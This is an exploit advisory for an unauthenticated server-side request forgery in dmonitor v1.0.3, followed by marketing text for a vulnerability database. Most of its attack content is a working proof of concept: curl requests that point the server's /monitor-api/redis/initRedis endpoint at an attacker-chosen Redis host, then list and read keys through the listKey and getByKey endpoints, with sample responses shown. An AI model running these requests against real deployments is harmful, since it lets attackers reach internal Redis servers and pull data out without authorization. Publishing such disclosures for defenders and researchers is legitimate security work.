# Exploit Title: dmonitor v1.0.3 - Unauthenticated SSRF
# Date: 2026-04-18
# Exploit Author: Chokri Hammedi
# Vendor Homepage: https://github.com/dhjz/dmonitor
# Software Link:
https://github.com/dhjz/dmonitor/releases/download/1.0.3/dmonitor.exe
# Version: 1.0.3
# Tested on: Windows 10, Linux
# Description:
dmonitor v1.0.3 is a server monitoring tool with a Redis client feature.
The /monitor-api/redis/initRedis endpoint allows unauthenticated users to
specify arbitrary Redis connection parameters (host, port, password). This
enables an attacker to force the dmonitor server to connect to an external
attacker-controlled Redis server / internal Redis server and exfiltrate
data through the listKey
and getByKey endpoints.
# Proof of Concept:
1. Attacker sets up a Redis server on their machine (192.168.1.104):
redis-server --port 6379
redis-cli set test_key "SSRF_CONFIRMED"
2. Force dmonitor to connect to attacker's Redis:
curl "
http://192.168.1.102:40001/monitor-api/redis/initRedis?host=192.168.1.104&port=6379&password=
"
Response: {"code":200,"msg":"操作成功","data":{"currDb":0,"redisInfo":{...}}}
3. Enumerate keys from attacker's Redis via dmonitor:
curl -s "http://192.168.1.102:40001/monitor-api/redis/listKey?keyword="
Response: {"code":200,"msg":"操作成功","data":["test_key"]}
4. Exfiltrate the value:
curl -s "
http://192.168.1.102:40001/monitor-api/redis/getByKey?key=test_key"
Response:
{"code":200,"msg":"操作成功","data":{"key":"test_key","value":"SSRF_CONFIRMED"}}Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation